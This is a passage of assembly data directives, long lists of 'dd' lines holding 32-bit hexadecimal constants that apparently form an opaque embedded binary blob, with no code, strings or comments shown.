0BB1ED95h dd 76004826h, 0B4ADA07Fh, 75162Ch, 577E4CC8h, 1965FCB9h dd 50E09460h, 0DD4E45h, 480D8216h, 6790BAE8h, 13423900h dd 3C8C10B6h, 32EA00FAh, 9AC7508Dh, 96004873h, 44DDF91h dd 4FDC85h, 0C154FA1Ah, 0CC27BA02h, 10790F00h, 433C396Eh dd 551C078Fh, 0D7A266ECh, 6B00E906h, 0DD498D14h, 0E7401E13h dd 2CE00B00h, 3E911F17h, 75D8E4h, 38312497h, 150B6172h dd 0C06BD01h, 136DD553h, 25F44880h, 22AF1AFh, 0BE2E3E70h dd 0C0302A70h, 29234E99h, 64DB5Ch, 1D365681h, 681FBB6Ah dd 0E34EA963h, 0DE8900D7h, 642C4Eh, 0BC6B29EAh, 79BE9AF2h dd 1BF6A3Eh, 0A9387F3h, 9B20DAD8h, 6B4A0086h, 3A4F9CECh dd 0EE90B449h, 0E5A37100h, 1861BE74h, 514A3B93h, 0B1379D00h dd 2D2A1780h, 815CBDB8h, 0D89B0015h, 8D45B82Eh, 96D2001Eh dd 3EE34DD1h, 0C9001432h, 59841C7Eh, 509EA0B6h, 21E897h dd 0DDA37408h, 0B2315A8h, 0DC8F110Fh, 0B4840017h, 31333A2h dd 0F1865DAEh, 308FF030h, 2E855087h, 0D000317Ch, 389C9D67h dd 78CC87Ch, 880AE75Eh, 0D11150DEh, 0AA00B473h, 0D97CE595h dd 304584h, 0C868EBEAh, 5DB0A250h, 8B0091E6h, 0ECD58096h dd 998DE53h, 3FA3763Eh, 10150800h, 8D00481Fh, 376BB82Ch dd 7C423A7Dh, 80409B4h dd 340E2A03h, 3606A941h, 0B3E8400Eh, 0BB302032h, 0F3F61182h dd 4F90E4h, 0D8ED27C5h, 43131684h, 0FA0B3Bh, 92AC692Bh dd 0E7B73Dh, 0B362A70Dh, 6FD5339Eh, 23FAD41Ch, 4A0F75DEh dd 21E1017Dh, 5BCC98C9h, 485E0058h, 0D0BAE445h, 0B0006F11h dd 248210A1h, 0CFC140h, 8FD552E1h, 4803C3B5h, 0ADC1454h dd 8E2F8C00h, 9CA3972Ch, 0F1D100FAh, 7EA25247h, 57E8DBA1h dd 8B0A6F03h, 0E27D8C73h, 0F680A32Bh, 4C809DD3h, 1FF71EDh dd 0EF3BAA78h, 480E12F1h, 6803A384h, 370F9CF0h, 85A0A71Dh dd 42B629h, 2B8E4F80h, 700A5244h, 0C01D2C00h, 0B4462AD8h dd 20A93D59h, 7EA36100h, 0D6F7C7F6h, 81173600h, 94A72C4h dd 0E0B9FC92h, 8BAB3032h, 31ED877Ch, 4E5B9100h, 0CC0460FDh dd 1B200099h, 0A16FD8AEh, 98C0C19Ch, 718C1790h, 0DDFACEADh dd 64BC2240h, 0F500DB10h, 0F3EAAA99h, 12B61EE8h, 2A8E29h dd 651C9D9Ch, 0D008A58h, 0EB1B545h, 0B61815h, 0B3FA45Bh dd 331970C3h, 2BD8F850h, 0B8988C09h, 0F12B8074h, 13234EEh dd 45FBDF1Ah, 4019F8BCh, 0EC9CD4C4h, 4A095A7Fh, 20663A89h dd 0E40551A0h, 98BF48CBh, 6294CD0Eh, 0AF0B3B3Fh, 87874BCAh dd 853760E0h, 0C5F03FA6h, 163DE701h, 46BE7960h, 1E1FBDCCh dd 40FB884Eh, 89C47711h, 33A8E1Eh, 43F400B9h, 54D4CB7Ch dd 193C0921h, 60800B9Bh, 78272981h, 70008490h, 1289F0AFh dd 0C846B83h, 0B65C93F5h, 0B07FC99h, 10A616A2h, 0E87A3E93h dd 143C181h, 0E25D853Bh, 0F0D96E5Ch, 4E09DFCAh, 7B070D3h dd 8251D19Dh, 0E4A41594h, 0EC10E8Eh, 4D833DA0h, 371665A3h dd 0A40EB923h, 17D0038Fh, 5FDB8050h, 0D6E4A0C0h, 0DE580790h dd 100145CBh, 9E3C487h, 0B11F5AB8h, 4B472F32h, 0D73074DBh dd 0B83882C7h, 98C000Dh, 0FA195047h, 673BA83Eh, 0BF0A8773h dd 0C3108F22h, 0D5484Bh, 42C5B241h, 0B62F4A3h, 0D717C00h dd 677B6474h, 0C07F0398h, 0ECC5C16h, 0B5E8F3h, 7E6EB5E8h dd 0A201146Ch, 62A63A02h, 90D86DC4h, 1B370009h, 4728C761h dd 0B8984F85h, 0D024D207h, 7180BA03h, 2CDE1Ch, 0F4A8736Ah dd 0E6C57D7Bh, 4CD5781Eh, 77381980h, 35A30BEh, 0EBF0C28Fh dd 0F6F0DE5Eh, 0B0036742h, 8D4D7BEDh, 23C19037h, 898A1456h dd 0E00A404h, 14DA1A4Bh, 6601A375h, 0C809157Ch, 0E8508A9Dh dd 17A538Dh, 0C2166CEDh, 2478D7B5h, 15003E48h, 0BD72954Ah dd 12C6C1E5h, 0E09330Dh, 0A40534Ch, 0AE70B571h, 0D0F69B28h dd 0CBF88B0Fh, 6DD84059h, 0DAAD61h, 21A9A60Bh, 0A7607667h dd 327A6A00h, 4D16CF8h, 0B7E08Bh, 0FF41C4AFh, 94A36BCFh dd 0BBDB8A05h, 0A4C0EF2Bh, 42E363h, 2EB01644h, 9F789AD3h dd 7A582A48h, 395DDC00h, 0A86A13BDh, 70660044h, 315A8A2Fh dd 0D205BA3Eh, 1021F198h, 12678C90h, 53C6006Ah, 0CA195785h dd 550020D9h, 6F99D15Fh, 3EC502h, 0E935A1D4h, 0EB5E34C2h dd 80BDD739h, 8F83D2EFh, 6EA6B7h, 25B938D5h, 70B17208h dd 989AC000h, 0F284F4DDh, 888E0113h, 0B412273Bh, 0EED2C943h dd 0AB3BE0D7h, 0BB040053h, 74B9117Bh, 0E348D92Fh, 1C6300C4h dd 3F669B13h, 8E4C009Fh, 505580E7h, 0B44C2E5Ah, 54CF0004h dd 1BED8BD5h, 98377DF9h, 0D7D213B1h, 6D0C0088h, 129D06A5h dd 43C76900h, 1CACC8FFh, 0C6B60002h, 0ED20F20Fh, 38074285h dd 6CE4F62h, 5F7A2110h, 0BC764D3Dh, 9C6E0E00h, 0AD0A421Fh dd 6D237CC1h, 38807418h, 4F1BB9Dh, 0E0B87517h, 18C5B59h dd 0CA13C3E6h, 0D0708943h, 0F14A00C7h, 1E260581h, 0C60040BBh dd 5202CFB2h, 1FED04D6h, 0C04CF8A8h, 9CC9D364h, 5D0F963Bh dd 0EFC207AEh, 0E671C0ADh, 1285684h, 0B055261Eh, 0D88E6DEAh dd 68000AD2h, 5D5B2C82h, 166D4C4h, 0A4D84D65h, 0F82E80E6h dd 6B00AF7Ah, 0AB8BEC98h, 0FC4A5A61h, 0E06503A6h, 216CDC5Ch dd 0BDFCEA13h, 0C62C7D07h, 617FB250h, 82A500BEh, 55B42392h dd 0ED00E063h, 0F6881BBBh, 0B10676h, 9E673849h, 0EF139B45h dd 59787300h, 959642B7h, 0B51100EDh, 9CA5BF64h, 1628D2FFh dd 8600FFABh, 2FA1F81Eh, 0AFCB09h, 683FAE89h, 0C8A7E83Ch dd 0A07481Dh, 0C14B1B40h, 9F386Ch, 0CFDE31FDh, 5F861AB8h dd 9D92002h, 60B77C9Dh, 0DDF2C3h, 6EC64B84h, 0A1A89FFEh dd 133CA67Eh, 65998360h, 0E84B7CDEh, 9CC7C6h, 0EE02DC2Bh dd 3CC1A2A4h, 0D5CDD603h, 0A88B6B96h, 0C7D822h, 946C99A9h dd 0DDB1FD4h, 3E002878h, 72B0A011h, 6616F40h, 83A38237h dd 6000108Ch, 4A510CC8h, 0D2A5B1h, 0A208E51Ch, 40368886h dd 0F8C29A00h, 0BD6E5675h, 0C0CA027Eh, 4B65A803h, 0C17DB440h dd 870B821Eh, 901804D8h, 5F1400C2h, 9FADDA28h, 1B008C5Ah dd 8855BBBFh, 6049BAh, 0A869764Dh, 8A501D48h, 0E2B98C03h dd 93B43Eh, 6EE441C8h, 4C3AFEA0h, 772CA115h, 0E56000D4h dd 0EAD6CC17h, 7FE6EDh, 8712DC37h, 190C44FDh, 0E0A5C002h dd 60259E99h, 0CCF255h, 0D96C1EDDh, 874597C1h, 77EDF80Eh dd 5DE5E00Bh, 0A3A940h, 961CF9F5h, 22552137h, 0F2C16100h dd 713EF1D6h, 0AD7D033Ch, 3F907A81h, 0EE8C8D98h, 0A26C7000h dd 0F282DED5h, 70845CF7h, 0B2C8CB00h, 87410B38h, 6521EC0Eh dd 6481615Eh, 0F07EACF7h, 0F974313Ch, 0A1EF4500h, 0C7F187D5h dd 0ED0E0C2Ch, 0AFF02FA5h, 0E637E800h, 0D157DFA7h, 0BA560049h dd 3AE2AAF9h, 2301DBD9h, 0AFF021C4h, 61C89B96h, 60BE1CEEh dd 7F9A005Eh, 0B13BEA81h, 0EB158301h, 401E3574h, 0D65DF0h dd 0D03DC87h, 892C2386h, 3A905B00h, 1E52E8DBh, 389B0073h dd 7A5E96AEh, 4F00E259h, 41D3EF70h, 0F06D5A91h, 0BB35012Ch dd 4BF2A20Eh, 0BC5A70B4h, 4468BE00h, 0F75451DBh, 7B430195h dd 20B3CCC0h, 8460204Ch, 0AD08C300h, 7744D6D7h, 0FCC000A8h dd 73D4CE13h, 93DA961h, 5201F708h, 4F58A4E7h, 0F03BFA29h dd 6901AA49h, 6B0D285Ch, 0AFD0C157h, 84421847h, 2A701013h dd 3C5DB009h, 0E99008CCh, 64B1A43Ah, 0F089210Ah, 4F9AE387h dd 45728140h, 0B1420E05h, 6A4093AFh, 6C447F03h, 0BD9CB31Ch dd 0CE98FA80h, 66E1E91h, 5D32B8Dh, 6B00FEA9h, 57AC364Dh dd 0AFCE69h, 0C4C28EB2h, 20872A91h, 3FFF854Ch, 0FAAE13BCh dd 0B2B5B100h, 1DD0E5B9h, 0C42F55h, 0B65D7306h, 5A3E8BF1h dd 0EDFA00D5h, 94478144h, 65F80003h, 33A01D1Eh, 5A394EA6h dd 6FE1007Fh, 47BA3D28h, 0C441542Dh, 97240049h, 0E51FAE94h dd 0C850F802h, 7F1C4D94h, 0F34773E0h, 32304EE1h, 6E02BDh dd 5E52A4F9h, 2B20B9F6h, 3232A00h, 87AA0FF4h, 0DDE507CDh dd 33E225A5h, 13A01992h, 4DF45ADEh, 7BBCFA00h, 0FF2A302h dd 0A4E0BD9Dh, 0D30926E9h, 842CB3h, 334FA4B4h, 0E3B00069h dd 27EA65D4h, 29009A8Eh, 0F857DAE8h, 0A9CD1Ah, 71C0D820h dd 82C90AEEh, 0BD00947Bh, 0CA0D4F74h, 2D92D84h, 0EC45B6C3h dd 2440398Ch, 583A6F7Bh, 230E06D7h, 0F870F546h, 0B8263083h dd 5C8B2181h, 83B4A30h, 3CC344A6h, 933EEE01h, 669C4B00h dd 0DC396B8Fh, 1441351Dh, 5173F000h, 0D1C1E1h, 2144D492h dd 0B883E9A5h, 0CD402600h, 9F5E3B19h, 90B5074Fh, 0FE787B5Ch dd 0F3C172Ah, 0C3869B3Bh, 0A30011BCh, 85107555h, 0E41F867Bh dd 0BEB63009h, 0E826F8B0h, 426BA005h, 9C408377h, 0A63CDC6Fh dd 4D070009h, 82E4CAF2h dd 1B033F2Fh, 0F583A970h, 9164A1D4h, 4B60E8E9h, 0C3F100B0h dd 8C9234F7h, 821EE55Eh, 7A004FD6h, 0F05DB3ABh, 85B701E4h dd 9D27CB51h, 3153600Dh, 0B0C06400h, 0CCDE132h, 0DF900022h dd 85218A3Bh, 3702C8DAh, 4BFC18B2h, 0E68EE0E9h, 68C63CE4h dd 4779A400h, 0DFCCAE21h, 0A0A83Fh, 1C904FB7h, 5891E14h dd 0F82329E0h, 16980A5h, 0EA00E5BEh, 39AC6DB1h, 77E6C8h dd 2A8D4E5Fh, 0F8C784B7h, 83A3D05h, 8804ABFDh, 1F8746B1h dd 0DA3F64E3h, 420048FAh, 4BAD0002h, 761BAF15h, 8300A528h dd 0DE85CB01h, 6067EA75h, 0F0A42092h, 8D723E29h, 0C70820A7h dd 0F10C21Dh, 12F1D0A0h, 9A72DBE2h, 18006379h, 7C1686B8h dd 3F85996Ah, 1480F278h, 69879655h, 0FCA8BD33h, 0B500E944h dd 5CFB3B53h, 74C323C2h, 21456755h, 0F0B510E1h, 0D3073309h dd 76A8944Dh, 87E86Eh, 7E75648Ah, 0B9775F5Bh, 0D7CD7B8h dd 0A93B3201h, 7A99ADFFh, 92A900E3h, 0BF12DAF1h, 9B0644B5h dd 0F76E87FBh, 3D580121h, 977BDA7Dh, 0FFCBC357h, 0EE6002D7h dd 78A53700h, 2CCA0314h, 0F1B26ABCh, 194CE2A0h, 0D0B1BB60h dd 4F542Bh, 0E611726h, 81C40741h, 0C950A374h, 2B0182E4h dd 3187B729h, 39A0D442h, 272468Ch, 3B54B5DAh, 0FE001CD3h dd 0C82FB5D2h, 3CB25A6h, 787670E0h, 28FACE5Fh, 95311440h dd 30A187FCh, 8DF1873h, 0CB3B55B5h, 33148C6h, 2BB5D7E3h dd 0D9F70F71h, 660C3802h, 0BD38F623h, 0C0EAB8D3h, 92861C50h dd 6BF2CCh, 2E118BACh, 3607B822h, 21A108CCh, 0AC7400C7h dd 0B946E65Ch, 19C0901Ch, 1F75A9E1h, 0BA6D0396h, 61A21760h dd 0C2CAD9A0h, 9CB24600h, 10DC8320h, 64E8A804h, 9F0C00D0h dd 0BBE6F775h, 71001EA9h, 0E84EC6CFh, 851A6Ah, 82EDF902h dd 16E5C406h, 997189F3h, 8B0C1074h, 9C551EB0h, 0C008A4FBh dd 7BDF7D56h, 4486FF76h, 3E00382Ch, 4612F37Dh, 82F91Ch dd 0C96718C0h, 2733AF75h, 0F44574Ch, 5DB06198h, 0E7F38400h dd 0FEB3F6Fh, 1C14FE0Fh, 706691F9h, 0D0018ABh, 38790517h dd 0F6D4B34Dh, 0C2C506B5h, 0B1131A57h, 13508D58h, 1000DAA5h dd 0DF9E8E64h, 0F428009Dh, 85E012E1h, 16616D71h, 72FB9A30h dd 4546C48h, 0AF7BE97Dh, 0B8362C57h, 67272CE8h, 0E0B2006Eh dd 10D4098Fh, 3C81FB60h, 0D95E6A23h, 187160E1h, 0E87D0847h dd 61C4A77Bh, 7D4F3940h, 0CB00769Dh, 0B0510FECh, 4410D5A3h dd 85004DF8h, 807A9E47h, 3A40FCA2h, 0C375A0F7h, 478D3A21h dd 610CBCA8h, 2C245C00h, 397251A9h, 69046003h, 931BCC09h dd 0FCEAB0A8h, 0C0C9DE00h, 6F994372h, 84A8004Fh, 80A50C06h dd 8F19F23Fh, 1B86ED64h, 9F006823h, 0A8117FACh, 20EE5F5Dh dd 28006174h, 5B7B2D5Eh, 30F0FACEh, 1C100D87h, 0E30FE0EBh dd 0A0F70C85h, 286816DFh, 0F926004Ch, 0C2F18057h, 0C70109E5h dd 0BCAEDD0Fh, 0AC9D589h, 46554180h, 95486DA8h, 0B1C1F500h dd 0DEDA81EBh, 3C5AE2C2h, 0CEB8DBA1h, 0E27B9Dh, 76DD61D4h dd 0E03136BEh, 4684991Fh, 748E5183h, 40EF4975h, 88ECFB99h dd 79F4A0Eh, 0B98120DEh, 0C3846B89h, 0E06F1C39h, 1A93F2B8h dd 69E4BD01h, 0B77ACBBh, 1F3AA7C0h, 0B0DF3658h, 66D90631h dd 0B62E6A1Fh, 191B680Dh, 2AE80BE5h, 395D0F75h, 0EF801C65h dd 37266D7Ch, 8D0368DEh, 88B8DFDEh, 1D623AD7h, 18382080h dd 0D67A2155h, 9656DF26h, 58D2E003h, 0BCE107EDh, 0D7E74060h dd 0AEF77482h, 4330F80h, 52C8014Ah, 6547A4D9h, 2D488063h dd 2B9F3E5Fh, 63CDF084h, 6924205Ah, 71C11FB3h, 1B298066h dd 0E4899F74h, 1020703h, 3FF5BFCh, 20121D1Eh, 1096B20h dd 8CF980A9h, 3062C088h, 5599EC58h, 0A00086EBh, 73294F5h dd 0AA4F70h, 76B444BDh, 0C706FF89h, 0D4B3FB29h, 0E24C0D91h dd 6FA817h, 5A8EE1B6h, 0BF3D8018h, 56E51D65h, 0A1D41680h dd 4BCB3EDh, 0AB5F5CA4h, 0E4248008h, 0CD000223h, 0F4979EDAh dd 0DC558Fh, 0B9114EB0h, 0C2F7689Fh, 86AA390Ch, 7FE715Dh dd 0E180A685h, 0D91900E5h, 1850FF3Dh, 8E002348h, 6B5B57A6h dd 2A0B1BBCh, 819471D4h, 7518CE9Ch, 0E4629F15h, 109C4298h dd 3B002014h, 9C269F6Ch, 6E120FB0h, 3820878Fh, 6140255h dd 4319056Ch, 0B001926h, 0EBA13180h, 0D46259h, 0D127C07Eh dd 34B9B78Bh, 0C4900462h, 0C08A051Eh, 5265C1C3h, 49E5D51Fh dd 2042D909h, 9DE2AD24h, 1080E1CDh, 0F62B80C0h, 0E005BDECh dd 6065E815h, 0A182C823h, 0F8574390h, 0FAD13C80h, 8A913D4h dd 0E4002D61h, 0A0CFACAh, 71FDE232h, 81DB028Bh, 201E58B7h dd 18CF9891h, 5F9F0976h, 343173E4h, 6D261018h, 0BC78079Fh dd 80CF60CDh, 4F3AB5AAh, 2CE98718h, 5639C468h, 0A7EE8ACh dd 75E176A6h, 18E821E4h, 901931F6h, 3931A600h, 0BC9B681Bh dd 7F510CD2h, 26B94741h, 43E0A900h, 0A99D31Fh, 0A86C019Fh dd 0B66AB7D8h, 7D2EDC63h, 7CE3D109h, 0D5E43376h, 0EFB828C0h dd 91E4913Bh, 0A903734Bh, 83A185DFh, 0E7F4A806h, 81090AA0h dd 7C901FF9h, 9D201321h, 0F46F00A3h, 8B23DB27h, 39640150h dd 0AE02C61Fh, 9062890Ah, 937600BCh, 4C547728h, 0A061F8CFh dd 0EA0B9D4h, 0B3729AA3h, 31591B46h, 18A9B081h, 81A60962h dd 9831EDE1h, 20B050FAh, 0B00A68Bh, 17F7C7C1h, 0B3FC4AAh dd 2CD2BEBFh, 0E9641018h, 0E5008072h, 5DC0F7C9h, 1D0D1F5h dd 39A78A3Fh, 60786A63h, 3A1C2745h, 0D82890E3h, 0A0AE8D30h dd 4725C5h, 3E545BCAh, 0BFE7094h, 5493203h, 0B0EB853Ah dd 1666F81h, 716AFB0Eh, 0D8A60FD6h, 84F42FB7h, 738C4707h dd 23400DC9h, 0E539F2h, 3385C0F1h, 0A04FC830h, 0CFFC0EDh dd 81045700h, 7678E5CDh, 0ACF63B84h, 0CFBDAD80h, 2F488A28h dd 0DBFDB300h, 68B8C33Bh, 863F3FC8h, 0F67F0180h, 48E1E690h dd 33F4F807h, 0D1C06A9Ch, 3DDABC1Bh, 45000AACh, 0FDB7863Bh dd 74038CA4h, 2C057784h, 98F5FBCAh, 0F19F994h, 0FBF0D47Eh dd 2E1C30A0h, 66FE4316h, 57A5D700h, 0EA3BDEDFh, 0F05D0702h dd 3365998Fh, 4100FDA9h, 0BA880FE6h, 2878B19h, 9356D8E0h dd 1CE02B42h, 620E5833h, 20BE4FFFh, 6ADD7D45h, 42DF0181h dd 0D9F9915Bh, 0A154D076h, 0ADC06E60h, 24C89Dh, 976FACCDh dd 8E7F5FFAh, 801B372Ah, 4E583900h, 0A95211B5h, 8AA100F7h dd 12D5101Fh, 24006826h, 96F8D91Ah, 73223D4Ah, 0CBF400ACh dd 0E5526DAAh, 95008FD6h, 7BB498C4h, 0E7F079h, 50580DB1h dd 0EAE9E869h, 0CD0EAE7Dh, 0E01A9E5Bh, 21921EAAh, 0FB5800B1h dd 568520C4h, 43066368h, 3DE950FEh, 0E1820D80h, 0E441FC62h dd 5F0099DFh, 0C9A97312h, 437037h, 0CF6FD30Dh, 6B24BD0Fh dd 1F696C03h, 0F8CAAC4Eh, 7005E4D5h, 604275A5h, 36BA4875h dd 3B007AEFh, 288E16E3h, 3FC2ED52h, 0F803A178h, 2D8D54A0h dd 6E491E00h, 0F6AEEB07h, 0D062075Dh, 43ADC278h, 25D11373h dd 0DD626021h, 97BCBE1Eh, 0C8EADBC0h, 7FCAD907h, 0E2251DF9h dd 607D00E8h, 676B02B8h, 68829301h, 27D53E13h, 511E4080h dd 0CDE78DDEh, 0BC658C03h, 98E1CAE9h, 7A8F8BEFh, 0EE810338h dd 4FE229ACh, 6E48C0E8h, 0D30C2B14h, 5A1B00C0h, 0CC37B439h dd 367C00CFh, 0D816F7A6h, 0FA015E63h, 3F387BAh, 64D18A6Bh dd 0E0382180h, 33BEDF63h, 0EACE4207h, 6C1C08Ch, 76D0A54Eh dd 5F860036h, 3519DEB8h dd 23662A22h, 219A09h, 16B868E6h, 0F52C7ABCh, 3174C20Ch dd 8C0C4883h, 0D4B86102h, 19256519h, 6AE81190h, 0DCCC30h dd 6692ECE6h, 0C3F6D140h, 4F306C77h, 6BA2993h, 74B81Ah dd 0C2F39DD2h, 0C54BB0D6h, 85BD6703h, 0E7F85C3Ch, 2B2A4C30h dd 7B8600A6h, 47C7F0ADh, 0F700A73Fh, 64D694B2h, 28EBF6D0h dd 0E8879FCh, 97540272h, 0F235F60h, 35002CCEh, 0D589F8A7h dd 366A74CCh, 882098FBh, 0DD06200Ah, 6D7020ECh, 51068C28h dd 0F63CDD79h, 17A600C8h, 72CEED21h, 0AA198A0Dh, 1C08457Ah dd 9342180h, 0DC6E42EDh, 0BF38F900h, 6B91818Dh, 7DF78077h dd 591E56F8h, 902AB67Ch, 89B89100h, 0BD72EED0h, 0B91B00D7h dd 458223FAh, 9B0E2B2Ch, 0A7885EC6h, 0B7F3FBF8h, 0A1CEDFF6h dd 2CA28D70h, 0C02E5BF0h, 0E1975651h, 0BA014E66h, 28F1F24Ah dd 0A44723BCh, 0A637D630h, 4D290377h, 362A7859h, 0F7C15864h dd 30D84882h, 620863D4h, 6488DAFAh, 0DC3C405Eh, 982BAB63h dd 2DD61EA5h, 846BCC39h, 506FD270h, 2BE48029h, 1D4F38h dd 0B07E7A1Ch, 0A4910EF8h, 6F14DA75h, 0C4865Bh, 0C3C09FE0h dd 1806C4D5h, 20A3C5E3h, 25809043h, 35CD0966h, 3F807B28h dd 0D144DC64h, 81F8AC00h, 46CCDD1Bh, 7E6B00A8h, 8A9ED5F9h dd 0A1002265h, 66647A2Bh, 3A5D9948h, 708E53C2h, 21475A3Ch dd 0C8EB803Fh, 0FF006E4Eh, 41272AB5h, 3DAFE1h, 795E71E5h dd 32870C93h, 5CE4AE00h, 283CD98Fh, 942A31DEh, 0FC888211h dd 32F2231Bh, 0BD4CD100h, 387CF7EBh, 0E6690F61h, 0F8008F37h dd 55B07205h, 0C47A0B1Eh, 0FA3B1F80h, 37AF7B1Eh, 0CA5152FCh dd 0F519FC04h, 0B7A00A80h, 3A672CD0h, 1379AC8Eh, 97DC39h dd 0F590DA34h, 0E61D1175h, 3319B767h, 84083029h, 84998344h dd 42351C22h, 10D221A4h, 3295848Dh, 3A9FE842h, 22CFD902h dd 0DE221431h, 201C24CEh, 4715D5h, 0FD419980h, 493D56B3h dd 9BD63Ch, 424FAAF6h, 424E910h, 6027CC3Ch, 0F8228032h dd 5A00B397h, 2FEA52F1h, 0F65D68h, 82D3DFFEh, 75E8605Bh dd 162D8500h, 0DBC8A44Bh, 30B00094h, 0E1313F40h, 1200EE1Bh dd 0F7E477FDh, 3C02A2EDh, 8501CE3Dh, 78C9F17h, 3475E0A8h dd 13937E00h, 0BB3EDC36h, 196B3A98h, 0E29A4E00h, 6F75A6DDh dd 0D400E178h, 0E44714DCh, 4A8C77h, 80173B06h, 9C9D1D66h dd 277DCB07h, 0E5F0B2FCh, 67A24Fh, 2C52DABAh, 0F0A49D06h dd 0F800837Dh, 0D572456h, 96BF35h, 81A10107h, 2EEE7A95h dd 0EF93AD00h, 0EA7E4B37h, 7C080066h, 0DD0C65E0h, 9C0044FEh dd 5A0609DFh, 0E88CB15h, 0A1ACD299h, 0C6E481C0h, 2F001F6Dh dd 1DCF5948h, 0E63D7FAh, 60E69778h, 0E4B50622h, 4F95B140h dd 341F5100h, 0DDA0B4AEh, 84E4F1h, 74B1375Bh, 7745F222h dd 984E9204h, 4C80C51Eh, 0B77158h, 0D53A2D13h, 29FD65D2h dd 733B101Dh, 0F666DFC0h, 0CFA31Ch, 0B26F1836h, 0BA71CA40h dd 6C2283Ah, 6D1F65BFh, 37D70018h, 2099E4EEh, 442885F8h dd 0B5FCBCE7h, 0EBC37801h, 0AB8A343Ch, 0CE0BE840h, 13F60086h dd 805FB6E7h, 0F2E05298h, 0BBA04E00h, 857047DDh, 0BFFE000Eh dd 6580FFEBh, 370E1E43h, 216FA362h, 992C0A8h, 4FCEECh dd 90B45F55h, 2BBD185Eh, 0E496B300h, 7DF49A78h, 264C1E53h dd 0C8DFC0F8h, 3FD37746h, 3B150B00h, 6E6AA3B8h, 808700E4h dd 638EEF7Eh, 4C24D70Eh, 0C692E040h, 36480040h, 951924h dd 3F8C2759h, 0B87BE534h, 1CFAB600h, 826F05A4h, 680E002Dh dd 0E7631BCCh, 0C92426F5h, 50FB461h, 608DAC36h, 5D5C2025h dd 0A2D8C500h, 59C9A56Bh, 0F11B0014h, 3BE26F96h, 9178AE8Ch dd 0B3255B00h, 0FEDB9429h, 0F2493EF0h, 0E873CB80h, 0EE1D8A43h dd 748B900h, 86DEF4B0h, 9A122884h, 0B47400D5h, 0BA964FBFh dd 477F5769h, 90785412h, 7AF2A400h, 251B9Fh, 11C7B45h dd 2306987Fh, 74D37112h, 0EC3AB400h, 6AD91Bh, 29465057h dd 0C9362C15h, 0E069AC00h, 0AA865DE3h, 75D748F6h, 4001F900h dd 0C12ECF50h, 0A400B090h, 0F872966Fh, 3FAC784Ch, 3900805Eh dd 0B0F9CBFh, 0A008B69h, 0EE042135h, 3B6D72Dh, 0C34E4912h dd 7CE19A26h, 0EF076088h, 73FF5001h, 0A3C71A44h, 32D864C9h dd 4DED00C1h, 3B772B46h, 89002A50h, 72410A51h, 7EF6DB5Fh dd 1D320222h, 9CDE551Bh, 1506DC0h, 878AAA39h, 567AD97h dd 0F89E3FF0h, 0E098CFh, 0AB9D429h, 0BCFB9034h, 18AD7B50h dd 0D0997A00h, 6B8588C7h, 17B41D0Dh, 60F58011h, 312579DEh dd 0F60C8F7Fh, 1077DF63h, 0EF230068h, 61D003B9h, 8B05ED3Ch dd 29731155h, 17DE04C0h, 40D45C37h, 0AD266700h, 250D314Eh dd 0F9011AB0h, 1E5B65ECh, 0FED0EF94h, 76570042h, 0E5B3A6F7h dd 0C860B268h, 48750E1Ah, 75903BEh, 35CBDA79h, 0C7C081D3h dd 5500CA86h, 4E91C53h, 2AA8813h, 0C602AF11h, 0D040DED7h dd 5051E45Dh, 70C024FCh, 0A71DAF05h, 0FC03C469h, 0F82BF40Dh dd 4350B3h, 0B2DAE73Dh, 595C2E78h, 87861E0Ch, 810B4h, 60EEABA8h dd 818C1763h, 6BFA19C0h, 5B701CADh, 0F69BC04h, 8072131Dh dd 0BBF7BFD5h, 0C0D450C1h, 339600C5h, 0D859BCD6h, 344836D3h dd 0AAB30FDCh, 2656E012h, 1B1DA45h, 0E1CC6F58h, 0BEF710ADh dd 5937000Ch, 9D13BDC8h, 2035006Ch, 57E59C71h, 3F300B9Ah dd 0A1DDE0EAh, 25BA004Fh, 26DF7C0Ch, 0C20E4A5Eh, 604C5029h dd 8B645FDAh, 8D6900F2h, 2151C8E9h, 0C50E5982h, 0EBFB727Ch dd 3583875Fh, 2261840h, 0A7EE011Fh, 88EB5613h, 48BBC865h dd 0AF976300h, 0FD80FEBAh, 5229C771h, 1C7F3Dh, 85DE8CAAh dd 803F142h, 0A2BFA993h, 8284B081h, 309891h, 5E0EFEBCh dd 4153BA26h, 434CFCE8h, 47D0000h, 0F5B8DE68h, 0CB0A14D4h dd 0BA00D8A0h, 54AF2F45h, 8A00BF25h, 7A2024AEh, 65A8D8h dd 5B640F1Ch, 2C407828h, 4762AD0Bh, 0C4318173h, 0B5703A77h dd 0D22004Fh, 0E509636Ah, 510FE183h, 80079169h, 0BC6D83Eh dd 0EB9E00B0h, 151B2134h, 0F3B8B5DAh, 5291CE13h, 0C9FB7403h dd 0F83093BCh, 0E62A77CDh, 0E28B50BFh, 3E8000D0h, 9892C4D2h dd 38001030h, 62DCDDB0h, 1C0E6C0Bh, 98DADB31h, 0A201105Ch dd 0C95C10FEh, 1C8C0024h, 0F07C43BAh, 7E3C0064h, 0F6724E4h dd 0CC075CE6h, 5673AEDEh, 8188F270h, 468CA093h, 90250357h dd 0A7A5F44Bh, 233283F8h, 87556003h, 0C841DE21h, 1630FBh dd 0E0B0BBCDh, 14A56A1Bh, 0FC957A00h, 0A5BA1A0h, 6657006Dh dd 83EB753Dh, 1E00A91Ah, 20BE9BEEh, 0C0A6A79Ah, 0ACD06C10h dd 0E6E8D5F7h, 360929FCh, 83A73507h, 0AEF47EEAh, 0BDD20428h dd 0C032B412h, 787163D0h, 2CD71C00h, 0DA0496ECh, 1849894h dd 0F903A20Fh, 403E4DA9h, 0C240FC8Dh, 29272D00h, 0BF5B9117h dd 723F0380h, 84B45706h, 468220F8h, 73357600h, 6F1CFC8Ah dd 9AE417h, 8775CF05h, 815526Eh, 6093C501h, 0AAD501F5h dd 0A761B440h, 0D75700C4h, 5C4CBD6Ah, 7019E235h, 73C0FDEBh dd 0C0BB0071h, 0E8817F8Fh, 0C7B53640h, 24008970h, 7DFF9435h dd 0F8E9DB39h, 0C9680902h, 10075501h, 3B09202Bh, 0FD00856Dh dd 0FDD9788h, 0E096733Dh, 0E2710052h, 0A1B44414h, 0CB39A69Dh dd 9B7200ACh, 0DE9F9E1Ch, 6CCE1EADh, 3091019Ah, 0DA20AAh dd 1EA099Ch, 0A38A9E85h, 0E2276FDEh, 7FCBF1E0h, 0A50B2C00h dd 333F5E82h dd 0BC9C5086h, 0B84E007h, 81F96F95h, 8E205400h, 316085CAh dd 42ADA0BEh, 0E61E041h, 957F4017h, 77D65780h, 609374Dh dd 80686F8Eh, 0AD8DF0BCh, 0F0075024h, 313D1DC2h, 77D14054h 